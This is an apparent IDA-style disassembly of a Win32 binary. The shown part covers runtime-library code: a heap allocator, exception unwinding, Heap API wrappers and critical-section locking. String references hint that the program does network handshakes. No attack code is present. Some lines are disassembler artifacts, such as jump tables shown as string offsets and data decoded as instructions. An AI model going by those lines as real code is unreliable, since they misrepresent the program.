		mov	[ebp+var_10], eax
		jmp	short loc_408248
; ---------------------------------------------------------------------------


loc_408235:				; CODE XREF: sub_4081F0+31j
		mov	eax, dword_4111E4
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_408248:				; CODE XREF: sub_4081F0+43j
		mov	eax, [ebp+var_10]
		jmp	short loc_40827D
; ---------------------------------------------------------------------------


loc_40824D:				; CODE XREF: sub_4081F0+29j
		cmp	esi, dword_4111F0
		ja	short loc_40826A
		mov	eax, dword_4111EC
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_40827D
; ---------------------------------------------------------------------------


loc_40826A:				; CODE XREF: sub_4081F0+63j
		mov	eax, dword_4111F4
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_40827D:				; CODE XREF: sub_4081F0+5Bj
					; sub_4081F0+78j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, dword_4111FC
		cmp	[ebp+var_C], eax
		jge	short loc_4082CD
		mov	eax, dword_4111FC
		mov	[ebp+var_C], eax
		jmp	short loc_4082CD
; ---------------------------------------------------------------------------


loc_408297:				; CODE XREF: sub_4081F0+E5j
		mov	eax, [ebp+var_C]
		lea	edx, [eax+1]
		mov	[ebp+var_C], edx
		mov	eax, dword_4111AC[eax*4]
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4082CD
		mov	eax, dword_4111D0
		add	eax, 0FFFFFFFCh
		cmp	ebx, eax
		jnz	short loc_4082BC
		mov	ebx, [ebx-4]


loc_4082BC:				; CODE XREF: sub_4081F0+C7j
		mov	[ebp+var_4], ebx


loc_4082BF:				; CODE XREF: sub_4081F0+DBj
		mov	edi, [ebx]
		cmp	edi, esi
		jnb	short loc_4082CD
		mov	ebx, [ebx-4]
		cmp	ebx, [ebp+var_4]
		jnz	short loc_4082BF


loc_4082CD:				; CODE XREF: sub_4081F0+9Bj
					; sub_4081F0+A5j ...
		cmp	edi, esi
		jnb	short loc_4082D7
		cmp	[ebp+var_C], 8
		jl	short loc_408297


loc_4082D7:				; CODE XREF: sub_4081F0+DFj
		cmp	edi, esi
		jnb	short loc_4082FD
		push	esi
		call	sub_407F60
		pop	ecx
		test	eax, eax
		jz	loc_408527
		mov	eax, dword_411200
		mov	[ebp+var_C], eax
		mov	ebx, dword_4111AC[eax*4]
		mov	edi, [ebx]
		jmp	short loc_408306
; ---------------------------------------------------------------------------


loc_4082FD:				; CODE XREF: sub_4081F0+E9j
		cmp	[ebp+var_C], 0
		jle	short loc_408306
		dec	[ebp+var_C]


loc_408306:				; CODE XREF: sub_4081F0+10Bj
					; sub_4081F0+111j
		mov	eax, edi
		sub	eax, esi
		mov	[ebp+var_14], eax
		cmp	eax, 4
		jb	loc_40848F
		mov	eax, dword_4111E8
		cmp	[ebp+var_14], eax
		ja	short loc_408356
		mov	eax, dword_4111E0
		cmp	[ebp+var_14], eax
		ja	short loc_40833D
		mov	eax, dword_4111DC
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_1C], eax
		jmp	short loc_408351
; ---------------------------------------------------------------------------


loc_40833D:				; CODE XREF: sub_4081F0+138j
		mov	eax, dword_4111E4
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_1C], eax


loc_408351:				; CODE XREF: sub_4081F0+14Bj
		mov	eax, [ebp+var_1C]
		jmp	short loc_40838A
; ---------------------------------------------------------------------------


loc_408356:				; CODE XREF: sub_4081F0+12Ej
		mov	eax, dword_4111F0
		cmp	[ebp+var_14], eax
		ja	short loc_408376
		mov	eax, dword_4111EC
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_1C], eax
		jmp	short loc_40838A
; ---------------------------------------------------------------------------


loc_408376:				; CODE XREF: sub_4081F0+16Ej
		mov	eax, dword_4111F4
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_1C], eax


loc_40838A:				; CODE XREF: sub_4081F0+164j
					; sub_4081F0+184j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_18], eax
		jz	loc_40847C
		mov	eax, [ebx-4]
		mov	[ebp+var_20], eax
		cmp	ebx, [ebp+var_20]
		jnz	short loc_4083DE
		mov	eax, [ebp+var_C]
		mov	dword_4111AC[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111FC, eax
		jnz	short loc_40840F
		jmp	short loc_4083C8
; ---------------------------------------------------------------------------


loc_4083C2:				; CODE XREF: sub_4081F0+1EAj
		inc	dword_4111FC


loc_4083C8:				; CODE XREF: sub_4081F0+1D0j
		mov	eax, dword_4111FC
		cmp	dword_4111AC[eax*4], 0
		jnz	short loc_4083DC
		cmp	eax, 7
		jl	short loc_4083C2


loc_4083DC:				; CODE XREF: sub_4081F0+1E5j
		jmp	short loc_40840F
; ---------------------------------------------------------------------------


loc_4083DE:				; CODE XREF: sub_4081F0+1B5j
		mov	eax, [ebx-8]
		mov	[ebp+var_24], eax
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+var_20]
		mov	[edx-4], eax
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_24]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111AC[eax*4]
		jnz	short loc_40840F
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_24]
		mov	dword_4111AC[eax*4], edx


loc_40840F:				; CODE XREF: sub_4081F0+1CEj
					; sub_4081F0:loc_4083DCj ...
		mov	eax, [ebp+var_18]
		mov	eax, dword_4111AC[eax*4]
		mov	[ebp+var_24], eax
		test	eax, eax
		jnz	short loc_408445
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], ebx
		mov	eax, [ebp+var_18]
		mov	dword_4111AC[eax*4], ebx
		mov	eax, [ebp+var_18]
		cmp	dword_4111FC, eax
		jle	short loc_40844E
		mov	eax, [ebp+var_18]
		mov	dword_4111FC, eax
		jmp	short loc_40844E
; ---------------------------------------------------------------------------


loc_408445:				; CODE XREF: sub_4081F0+22Ej
		mov	eax, [ebp+var_24]
		mov	eax, [eax-8]
		mov	[ebp+var_20], eax


loc_40844E:				; CODE XREF: sub_4081F0+249j
					; sub_4081F0+253j
		mov	eax, [ebp+var_24]
		mov	[ebx-4], eax
		mov	edx, [ebp+var_24]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_20]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_20]
		mov	[ebx-8], eax
		mov	eax, [ebp+var_14]
		mov	edx, eax
		shl	edx, 2
		mov	ecx, ebx
		sub	ecx, edx
		mov	[ecx+4], eax
		mov	[ebx], eax
		jmp	loc_408504
; ---------------------------------------------------------------------------


loc_40847C:				; CODE XREF: sub_4081F0+1A6j
		mov	eax, [ebp+var_14]
		mov	edx, eax
		shl	edx, 2
		mov	ecx, ebx
		sub	ecx, edx
		mov	[ecx+4], eax
		mov	[ebx], eax
		jmp	short loc_408504
; ---------------------------------------------------------------------------


loc_40848F:				; CODE XREF: sub_4081F0+120j
		mov	eax, [ebx-4]
		mov	[ebp+var_1C], eax
		cmp	ebx, [ebp+var_1C]
		jnz	short loc_4084D1
		mov	eax, [ebp+var_C]
		mov	dword_4111AC[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111FC, eax
		jnz	short loc_408502
		jmp	short loc_4084BB
; ---------------------------------------------------------------------------


loc_4084B5:				; CODE XREF: sub_4081F0+2DDj
		inc	dword_4111FC


loc_4084BB:				; CODE XREF: sub_4081F0+2C3j
		mov	eax, dword_4111FC
		cmp	dword_4111AC[eax*4], 0
		jnz	short loc_4084CF
		cmp	eax, 7
		jl	short loc_4084B5


loc_4084CF:				; CODE XREF: sub_4081F0+2D8j
		jmp	short loc_408502
; ---------------------------------------------------------------------------


loc_4084D1:				; CODE XREF: sub_4081F0+2A8j
		mov	eax, [ebx-8]
		mov	[ebp+var_20], eax
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_1C]
		mov	[edx-4], eax
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_20]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111AC[eax*4]
		jnz	short loc_408502
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_20]
		mov	dword_4111AC[eax*4], edx


loc_408502:				; CODE XREF: sub_4081F0+2C1j
					; sub_4081F0:loc_4084CFj ...
		mov	esi, edi


loc_408504:				; CODE XREF: sub_4081F0+287j
					; sub_4081F0+29Dj
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		lea	eax, [edx+4]
		mov	[ebp+var_8], eax
		mov	edx, esi
		or	edx, 80000000h
		mov	[eax+esi*4-4], edx
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 4


loc_408527:				; CODE XREF: sub_4081F0+F4j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4081F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408530	proc near		; CODE XREF: sub_4070D0+Dp
					; sub_407CA0+Ap ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00408597 SIZE 00000038 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8E4
		push	offset sub_408748
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_1C], 0
		mov	eax, dword_4117E4
		cmp	[ebp+arg_0], eax
		jnb	short loc_408597
		push	0
		call	sub_408AD0
		pop	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4081F0
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_40858E
		jmp	short loc_408597
sub_408530	endp


; =============== S U B	R O U T	I N E =======================================



sub_40858E	proc near		; CODE XREF: sub_408530+57p
					; DATA XREF: DMN0:0040F8ECo
		push	0
		call	sub_408B50
		pop	ecx
		retn
sub_40858E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408530


loc_408597:				; CODE XREF: sub_408530+35j
					; sub_408530+5Cj
		cmp	[ebp+var_1C], 0
		jnz	short loc_4085AA
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_408980
		pop	ecx
		mov	[ebp+var_1C], eax


loc_4085AA:				; CODE XREF: sub_408530+6Bj
		cmp	[ebp+var_1C], 0
		jnz	short loc_4085BB
		call	sub_408730
		mov	dword ptr [eax], 0Ch


loc_4085BB:				; CODE XREF: sub_408530+7Ej
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_408530
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4085D0	proc near		; CODE XREF: sub_407CA0+7Bp
					; sub_409110+80p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 91h
		jz	loc_4086A2
		jg	short loc_40862D
		cmp	ebx, 50h
		jl	short loc_4085F4
		cmp	ebx, 59h
		jg	short loc_408605
		jmp	dword ptr aProtorecvDataS+3[ebx*4]
; ---------------------------------------------------------------------------


loc_4085F4:				; CODE XREF: sub_4085D0+16j
		cmp	ebx, 1
		jl	short loc_408672
		cmp	ebx, 43h
		jg	short loc_408672
		jmp	off_40F914[ebx*4]
; ---------------------------------------------------------------------------


loc_408605:				; CODE XREF: sub_4085D0+1Bj
		cmp	ebx, 6Ch
		jl	short loc_408672
		cmp	ebx, 72h
		jg	short loc_408616
		jmp	dword ptr a02i02i02iIIIS+6[ebx*4]
; ---------------------------------------------------------------------------


loc_408616:				; CODE XREF: sub_4085D0+3Dj
		cmp	ebx, 80h
		jl	short loc_408672
		cmp	ebx, 84h
		jg	short loc_408672
		jmp	dword ptr aWinsock2_xInit+0Eh[ebx*4]
; ---------------------------------------------------------------------------


loc_40862D:				; CODE XREF: sub_4085D0+11j
		cmp	ebx, 0A4h
		jz	short loc_4086AF
		cmp	ebx, 0A7h
		jz	short loc_4086A2
		jg	short loc_408651
		cmp	ebx, 9Eh
		jz	short loc_4086A2
		cmp	ebx, 0A1h
		jz	short loc_408682
		jmp	short loc_408672
; ---------------------------------------------------------------------------


loc_408651:				; CODE XREF: sub_4085D0+6Dj
		cmp	ebx, 0B7h
		jl	short loc_408672
		cmp	ebx, 0D7h
		jg	short loc_408668
		jmp	dword ptr aHandshakeBadPa[ebx*4] ; "Handshake: bad packed (%i)\n"
; ---------------------------------------------------------------------------


loc_408668:				; CODE XREF: sub_4085D0+8Fj
		cmp	ebx, 718h
		jz	short loc_408692
		jmp	short $+2


loc_408672:				; CODE XREF: sub_4085D0+27j
					; sub_4085D0+2Cj ...
		call	sub_408730
		mov	dword ptr [eax], 16h
		jmp	loc_408722
; ---------------------------------------------------------------------------


loc_408682:				; CODE XREF: sub_4085D0+2Ej
					; sub_4085D0+7Dj ...
		call	sub_408730
		mov	dword ptr [eax], 2
		jmp	loc_408722
; ---------------------------------------------------------------------------


loc_408692:				; CODE XREF: sub_4085D0+2Ej
					; sub_4085D0+9Ej ...
		call	sub_408730
		mov	dword ptr [eax], 0Ch
		jmp	loc_408722
; ---------------------------------------------------------------------------


loc_4086A2:				; CODE XREF: sub_4085D0+Bj
					; sub_4085D0+2Ej ...
		call	sub_408730
		mov	dword ptr [eax], 0Dh
		jmp	short loc_408722
; ---------------------------------------------------------------------------


loc_4086AF:				; CODE XREF: sub_4085D0+2Ej
					; sub_4085D0+63j ...
		call	sub_408730
		mov	dword ptr [eax], 0Bh
		jmp	short loc_408722
; ---------------------------------------------------------------------------


loc_4086BC:				; CODE XREF: sub_4085D0+2Ej
					; sub_449A3B+2Ej
					; DATA XREF: ...
		call	sub_408730
		mov	dword ptr [eax], 11h
		jmp	short loc_408722
; ---------------------------------------------------------------------------


loc_4086C9:				; CODE XREF: sub_4085D0+2Ej
					; sub_449A3B+2Ej
					; DATA XREF: ...
		call	sub_408730
		mov	dword ptr [eax], 9
		jmp	short loc_408722
; ---------------------------------------------------------------------------


loc_4086D6:				; CODE XREF: sub_4085D0+2Ej
					; sub_449A3B+2Ej
					; DATA XREF: ...
		call	sub_408730
		mov	dword ptr [eax], 0Ah
		jmp	short loc_408722
; ---------------------------------------------------------------------------


loc_4086E3:				; CODE XREF: sub_4085D0+2Ej
					; sub_449A3B+2Ej
					; DATA XREF: ...
		call	sub_408730
		mov	dword ptr [eax], 8
		jmp	short loc_408722
; ---------------------------------------------------------------------------


loc_4086F0:				; CODE XREF: sub_4085D0+2Ej
					; sub_449A3B+2Ej
					; DATA XREF: ...
		call	sub_408730
		mov	dword ptr [eax], 18h
		jmp	short loc_408722
; ---------------------------------------------------------------------------


loc_4086FD:				; CODE XREF: sub_4085D0+2Ej
					; sub_449A3B+2Ej
					; DATA XREF: ...
		call	sub_408730
		mov	dword ptr [eax], 1Ch
		jmp	short loc_408722
; ---------------------------------------------------------------------------


loc_40870A:				; CODE XREF: sub_4085D0+2Ej
					; sub_449A3B+2Ej
					; DATA XREF: ...
		call	sub_408730
		mov	dword ptr [eax], 20h
		jmp	short loc_408722
; ---------------------------------------------------------------------------


loc_408717:				; CODE XREF: sub_4085D0+2Ej
					; sub_449A3B+2Ej
					; DATA XREF: ...
		call	sub_408730
		mov	dword ptr [eax], 12h


loc_408722:				; CODE XREF: sub_4085D0+ADj
					; sub_4085D0+BDj ...
		pop	ebx
		retn
sub_4085D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408730	proc near		; CODE XREF: sub_407100+1Bp
					; sub_408530+80p ...
		call	sub_409420
		add	eax, 8
		retn
sub_408730	endp

; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408748	proc near		; DATA XREF: sub_407480+Ao
					; sub_407690+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	short loc_4087DD
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_408777:				; CODE XREF: sub_408748+8Cj
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4087ED
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_4087CB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4087CB
		js	short loc_4087D6
		mov	edi, [ebx+8]
		push	ebx
		call	sub_408820
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_408870
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_408919
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_4087CB:				; CODE XREF: sub_408748+3Cj
					; sub_408748+4Ej
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_408777
; ---------------------------------------------------------------------------


loc_4087D6:				; CODE XREF: sub_408748+50j
		mov	eax, 0
		jmp	short loc_4087F2
; ---------------------------------------------------------------------------


loc_4087DD:				; CODE XREF: sub_408748+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_408870
		add	esp, 8
		pop	ebp


loc_4087ED:				; CODE XREF: sub_408748+32j
		mov	eax, 1


loc_4087F2:				; CODE XREF: sub_408748+93j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408748	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_408870
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408820	proc near		; CODE XREF: sub_408748+56p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_408838
		push	[ebp+arg_0]
		call	sub_40D7B0	; RtlUnwind


loc_408838:				; DATA XREF: sub_408820+Bo
					; sub_449C8B+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408820	endp


; =============== S U B	R O U T	I N E =======================================



sub_408840	proc near		; DATA XREF: sub_408870+Ao
					; DMN0:004088E9o ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_408861
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_408861:				; CODE XREF: sub_408840+10j
		retn
sub_408840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408870	proc near		; CODE XREF: sub_408748+63p
					; sub_408748+9Cp ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_408840
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_40888D:				; CODE XREF: sub_408870:loc_4088C8j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4088CA
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_4088CA
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_4088C8
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_408919
		call	dword ptr [ebx+esi*4+8]


loc_4088C8:				; CODE XREF: sub_408870+44j
		jmp	short loc_40888D
; ---------------------------------------------------------------------------


loc_4088CA:				; CODE XREF: sub_408870+2Aj
					; sub_408870+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_408870	endp

; ---------------------------------------------------------------------------
		align 10h
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_408840
		jnz	short locret_408902
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_408902
		mov	eax, 1

locret_408902:				; CODE XREF: DMN0:004088F0j
					; DMN0:004088FBj
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebx
		push	ecx
		mov	ebx, offset dword_411204
		jmp	short loc_408923

; =============== S U B	R O U T	I N E =======================================



sub_408919	proc near		; CODE XREF: sub_408748+74p
					; sub_408870+4Fp
		push	ebx
		push	ecx
		mov	ebx, offset dword_411204
		mov	ecx, [ebp+8]


loc_408923:				; CODE XREF: DMN0:00408917j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_408919	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408940	proc near		; CODE XREF: sub_407E30+36p
		push	0
		push	1000h
		push	0
		call	dword_411DB4	; HeapCreate
		mov	dword_4127F4, eax
		test	eax, eax
		setnz	al
		and	eax, 1
		retn
sub_408940	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, dword_4127F4
		push	eax
		call	dword_411DB8	; HeapDestroy
		mov	dword_4127F4, 0
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408980	proc near		; CODE XREF: sub_408530+71p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		push	0
		mov	eax, dword_4127F4
		push	eax
		call	dword_411DBC	; RtlAllocateHeap
		retn
sub_408980	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+8]
		push	eax
		push	0
		mov	eax, dword_4127F4
		push	eax
		call	dword_411DC0	; RtlReAllocateHeap
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4089C0	proc near		; CODE XREF: sub_407480+41p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		push	0
		mov	eax, dword_4127F4
		push	eax
		call	dword_411DC4	; RtlFreeHeap
		retn
sub_4089C0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebx
		push	esi
		mov	eax, [esp+0Ch]
		push	eax
		push	0
		mov	eax, dword_4127F4
		push	eax
		call	dword_411DC8	; RtlSizeHeap
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408A02
		xor	esi, esi
		jmp	short loc_408A04
; ---------------------------------------------------------------------------


loc_408A02:				; CODE XREF: DMN0:004089FCj
		mov	esi, ebx


loc_408A04:				; CODE XREF: DMN0:00408A00j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+4]
		push	eax
		push	0
		mov	eax, dword_4127F4
		push	eax
		call	dword_411DCC	; HeapValidate
		test	eax, eax
		setnz	al
		and	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408A30	proc near		; CODE XREF: sub_409360+1p
		mov	eax, off_411214
		push	eax
		call	dword_411CCC	; InitializeCriticalSection
		mov	eax, off_411218
		push	eax
		call	dword_411CCC	; InitializeCriticalSection
		mov	eax, off_41121C
		push	eax
		call	dword_411CCC	; InitializeCriticalSection
		mov	eax, off_411220
		push	eax
		call	dword_411CCC	; InitializeCriticalSection
		retn
sub_408A30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408A70	proc near		; CODE XREF: DMN0:004093C0p
		push	ebx
		mov	ebx, 4


loc_408A76:				; CODE XREF: sub_408A70+2Aj
		mov	eax, off_411214[ebx*4]
		test	eax, eax
		jz	short loc_408A96
		push	eax
		call	dword_411DD0	; RtlDeleteCriticalSection
		mov	eax, off_411214[ebx*4]
		push	eax
		call	sub_407480
		pop	ecx


loc_408A96:				; CODE XREF: sub_408A70+Fj
		inc	ebx
		cmp	ebx, 9
		jl	short loc_408A76
		mov	eax, off_411214
		push	eax
		call	dword_411DD0	; RtlDeleteCriticalSection
		mov	eax, off_411218
		push	eax
		call	dword_411DD0	; RtlDeleteCriticalSection
		mov	eax, off_41121C
		push	eax
		call	dword_411DD0	; RtlDeleteCriticalSection
		mov	eax, off_411220
		push	eax
		call	dword_411DD0	; RtlDeleteCriticalSection
		pop	ebx
		retn
sub_408A70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408AD0	proc near		; CODE XREF: sub_407480+4Bp
					; sub_407690+28p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	off_411214[ebx*4], 0
		jnz	short loc_408B35
		push	18h
		call	sub_408530
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_408AFB
		push	1
		call	sub_409520
		pop	ecx


loc_408AFB:				; CODE XREF: sub_408AD0+21j
		push	3
		call	sub_408AD0
		pop	ecx
		cmp	off_411214[ebx*4], 0
		jnz	short loc_408B23
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_411CCC	; InitializeCriticalSection
		mov	eax, [ebp+var_4]
		mov	off_411214[ebx*4], eax
		jmp	short loc_408B2D
; ---------------------------------------------------------------------------


loc_408B23:				; CODE XREF: sub_408AD0+3Bj
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_407480
		pop	ecx


loc_408B2D:				; CODE XREF: sub_408AD0+51j
		push	3
		call	sub_408B50
		pop	ecx


loc_408B35:				; CODE XREF: sub_408AD0+12j
		mov	eax, off_411214[ebx*4]
		push	eax
		call	dword_411CD0	; RtlEnterCriticalSection
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408AD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408B50	proc near		; CODE XREF: sub_4074EA+2p
					; sub_4076EB+2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, off_411214[eax*4]
		push	eax
		call	dword_411CD4	; RtlLeaveCriticalSection
		retn
sub_408B50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B70	proc near		; CODE XREF: sub_407550+3Dp
					; sub_4075F0+27p ...

var_84		= byte ptr -84h
var_50		= dword	ptr -50h
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_6		= byte ptr -6
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	[ebp+var_48], 0
		mov	[ebp+var_44], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_38], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_34], eax
		mov	[ebp+var_10], 0


loc_408BA0:				; CODE XREF: sub_408B70+A4j
					; sub_408B70+264j
		mov	[ebp+var_4A], 0
		lea	eax, [ebp+var_48]
		push	eax
		push	7FFFFFFFh
		push	ebx
		lea	eax, [ebp+var_4A]
